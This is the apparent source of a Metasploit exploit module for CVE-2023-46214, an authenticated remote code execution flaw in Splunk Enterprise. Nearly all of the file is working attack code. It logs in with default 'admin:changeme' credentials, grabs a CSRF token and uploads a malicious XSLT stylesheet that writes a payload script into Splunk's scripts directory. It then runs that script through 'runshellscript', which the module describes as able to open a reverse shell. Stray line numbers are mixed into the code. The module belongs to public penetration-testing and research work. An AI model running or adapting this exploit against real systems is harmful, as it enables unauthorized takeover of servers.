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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
5

6
class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
8

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  include Msf::Exploit::Remote::HttpClient
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Splunk Authenticated XSLT Upload RCE',
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        'Description' => %q{
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          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.
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          The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages
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          a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid
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          credentials, typically 'admin:changeme' by default.
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          The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the
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          vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'
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          capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides
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          the attacker with remote control over the compromised Splunk instance. The module is designed to work
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          seamlessly, ensuring successful exploitation under the right conditions.
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        },
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        'Author' => [
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          'nathan', # Writeup and PoC
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          'Valentin Lobstein', # Metasploit module
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          'h00die', # Assistance in module development
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2023-46214'],
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          ['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],
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          ['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory
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          ['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup
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        ],
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        'Platform' => ['unix', 'linux'],
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        'Arch' => [ARCH_PHP, ARCH_CMD],
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        'Targets' => [['Automatic', {}]],
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        'DisclosureDate' => '2023-11-28',
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'RPORT' => 8000
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        },
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        'Privileged' => false,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),
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        OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),
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        OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),
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      ]
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    )
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  end
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  def exploit
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    cookie_string ||= authenticate
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    unless cookie_string
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      fail_with(Failure::NoAccess, 'Authentication failed')
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    end
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    sleep(0.3)
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    csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string)
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    unless csrf_token
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      fail_with(Failure::NoAccess, 'Failed to obtain CSRF token')
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    end
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    sleep(0.3)
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    malicious_xsl = generate_malicious_xsl
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    text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string)
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    unless text_value
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      fail_with(Failure::Unknown, 'File upload failed')
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    end
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    sleep(0.3)
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    jsid = get_job_search_id(csrf_token, updated_cookie_string)
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    unless jsid
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      fail_with(Failure::Unknown, 'Creating job failed')
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    end
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    sleep(0.3)
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    unless trigger_xslt_transform(jsid, text_value, updated_cookie_string)
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      fail_with(Failure::Unknown, 'XSLT Transform failed')
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    end
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    sleep(0.3)
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    unless trigger_payload(jsid, csrf_token, updated_cookie_string)
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      fail_with(Failure::Unknown, 'Failed to execute reverse shell')
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    end
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  end
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  def check
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    unless splunk?
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      return CheckCode::Unknown('Target does not appear to be a Splunk instance')
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    end
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    begin
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      cookie_string = authenticate
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    rescue RuntimeError
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      cookie_string = nil
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    end
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    unless cookie_string
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      return CheckCode::Detected('The target is Splunk but authentication failed')
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    end
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119
    version = get_version_authenticated(cookie_string)
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    return CheckCode::Detected('Unable to determine Splunk version') unless version
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    if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||
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       version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))
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      return CheckCode::Appears("Exploitable version found: #{version}")
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    end
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    CheckCode::Safe("Non-vulnerable version found: #{version}")
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  end
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130
  def trigger_payload(jsid, csrf_token, cookie_string)
131
    return nil unless jsid && csrf_token
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    runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')
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    runshellscript_data = {
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      'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\""
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    }
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138
    upload_headers = {
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      'X-Requested-With' => 'XMLHttpRequest',
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      'X-Splunk-Form-Key' => csrf_token,
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      'Cookie' => cookie_string
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    }
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    print_status("Executing payload at #{runshellscript_url}")
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    res = send_request_cgi(
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      'uri' => runshellscript_url,
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      'method' => 'POST',
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      'vars_post' => runshellscript_data,
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      'headers' => upload_headers
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    )
151

152
    unless res
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      print_error('Failed to execute payload: No response received')
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      return nil
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    end
156

157
    if res.code == 201
158
      print_good('Payload executed successfully')
159
      return true
160
    end
161

162
    print_error("Failed to execute payload: Server returned status code #{res.code}")
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    return nil
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  end
165

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  def trigger_xslt_transform(jsid, text_value, cookie_string)
167
    return nil unless jsid && text_value
168

169
    exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')
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    exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl"
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    xslt_headers = {
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      'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',
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      'Connection' => 'close',
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      'Upgrade-Insecure-Requests' => '1',
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      'Accept-Language' => 'en-US,en;q=0.5',
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      'Accept-Encoding' => 'gzip, deflate',
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      'X-Requested-With' => 'XMLHttpRequest',
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      'Cookie' => cookie_string
180
    }
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182
    print_status("Triggering XSLT transformation at #{exploit_endpoint}")
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    res = send_request_cgi(
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      'uri' => exploit_endpoint,
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      'method' => 'GET',
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      'headers' => xslt_headers
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    )
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189
    unless res
190
      print_error('Failed to trigger XSLT transformation: No response received')
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      return nil
192
    end
193

194
    if res.code == 200
195
      print_good('XSLT transformation triggered successfully')
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      return true
197
    end
198

199
    print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}")
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    return nil
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  end
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  def generate_malicious_xsl
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    encoded_payload = Rex::Text.html_encode(payload.encoded)
205

206
    xsl_template = <<~XSL
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      <?xml version="1.0" encoding="UTF-8"?>
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      <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
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        <xsl:template match="/">
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          <exsl:document href="/opt/splunk/bin/scripts/#{datastore['RANDOM_FILENAME']}.sh" method="text">
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            <xsl:text>#{encoded_payload}</xsl:text>
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          </exsl:document>
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        </xsl:template>
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      </xsl:stylesheet>
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    XSL
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    xsl_template
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  end
219

220
  def get_job_search_id(csrf_token, cookie_string)
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    return nil unless csrf_token
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223
    jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')
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    upload_headers = {
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      'X-Requested-With' => 'XMLHttpRequest',
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      'X-Splunk-Form-Key' => csrf_token,
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      'Cookie' => cookie_string
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    }
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231
    jsid_data = {
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      'search' => '|search test|head 1'
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    }
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235
    print_status("Sending job search request to #{jsid_url}")
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    res = send_request_cgi(
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      'uri' => jsid_url,
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      'method' => 'POST',
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      'vars_post' => jsid_data,
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      'headers' => upload_headers,
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      'vars_get' => { 'output_mode' => 'json' }
242
    )
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244
    unless res
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      print_error('Failed to initiate job search: No response received')
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      return nil
247
    end
248

249
    jsid = res.get_json_document['sid']
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    return jsid if jsid
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  end
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  def upload_malicious_file(file_content, csrf_token, cookie_string)
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    unless csrf_token
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      print_error('CSRF token not found')
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      return nil
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    end
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259
    post_data = Rex::MIME::Message.new
260
    post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"")
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    upload_headers = {
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      'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*',
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      'X-Requested-With' => 'XMLHttpRequest',
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      'X-Splunk-Form-Key' => csrf_token,
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      'Cookie' => cookie_string
267
    }
268

269
    upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview')
270

271
    res = send_request_cgi(
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      'uri' => upload_url,
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      'method' => 'POST',
274
      'data' => post_data.to_s,
275
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
276
      'headers' => upload_headers,
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      'vars_get' => {
278
        'output_mode' => 'json',
279
        'props.NO_BINARY_CHECK' => 1,
280
        'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl"
281
      }
282
    )
283

284
    unless res
285
      print_error('Malicious file upload failed: No response received')
286
      return nil
287
    end
288

289
    if res.headers['Content-Type'].include?('application/json')
290
      response_data = res.get_json_document
291
    else
292
      print_error('Response is not in JSON format')
293
      return nil
294
    end
295

296
    if response_data.empty?
297
      print_error('Failed to parse JSON or received empty JSON')
298
      return nil
299
    end
300

301
    if response_data['messages'] && !response_data['messages'].empty?
302
      text_value = response_data.dig('messages', 0, 'text')
303
      if text_value.include?('concatenate')
304
        print_error('Server responded with an error: concatenate found in the response')
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        return nil
306
      end
307

308
      print_good('Malicious file uploaded successfully')
309
      return text_value
310
    end
311

312
    print_error('Server did not return a valid "messages" field')
313
    return nil
314
  end
315

316
  def fetch_csrf_token(cookie_string)
317
    print_status('Extracting CSRF token from cookies')
318

319
    csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/)
320

321
    if csrf_token_match
322
      csrf_token = csrf_token_match[1]
323
      print_good("CSRF token successfully extracted: #{csrf_token}")
324

325
      en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
326
      res = send_request_cgi({
327
        'method' => 'GET',
328
        'uri' => en_us_url,
329
        'cookie' => cookie_string
330
      })
331

332
      updated_cookie_string = cookie_string
333

334
      if res && res.code == 200
335
        new_cookies = res.get_cookies
336
        updated_cookie_string += new_cookies
337
      end
338

339
      return [csrf_token, updated_cookie_string]
340
    end
341

342
    fail_with(Failure::NotFound, 'CSRF token not found in cookies')
343
  end
344

345
  def get_version_authenticated(cookie_string)
346
    res = send_request_cgi({
347
      'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
348
      'vars_get' => {
349
        'output_mode' => 'json'
350
      },
351
      'headers' => {
352
        'Cookie' => cookie_string
353
      }
354
    })
355

356
    return nil unless res&.code == 200
357

358
    body = res.get_json_document
359
    Rex::Version.new(body.dig('generator', 'version'))
360
  end
361

362
  def splunk?
363
    res = send_request_cgi({
364
      'uri' => normalize_uri(target_uri.path, '/en-US/account/login')
365
    })
366

367
    return true if res&.body =~ /Splunk/
368

369
    false
370
  end
371

372
  def authenticate
373
    login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')
374

375
    res = send_request_cgi({
376
      'method' => 'GET',
377
      'uri' => login_url
378
    })
379

380
    unless res
381
      fail_with(Failure::Unreachable, 'No response received for authentication request')
382
    end
383

384
    cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]
385

386
    unless cval_value
387
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
388
    end
389

390
    auth_payload = {
391
      'username' => datastore['USERNAME'],
392
      'password' => datastore['PASSWORD'],
393
      'cval' => cval_value,
394
      'set_has_logged_in' => 'false'
395
    }
396

397
    res = send_request_cgi({
398
      'method' => 'POST',
399
      'uri' => login_url,
400
      'cookie' => res.get_cookies,
401
      'vars_post' => auth_payload
402
    })
403

404
    unless res && res.code == 200
405
      fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
406
    end
407

408
    print_good('Successfully authenticated on the Splunk instance')
409
    res.get_cookies
410
  end
411
end
412

413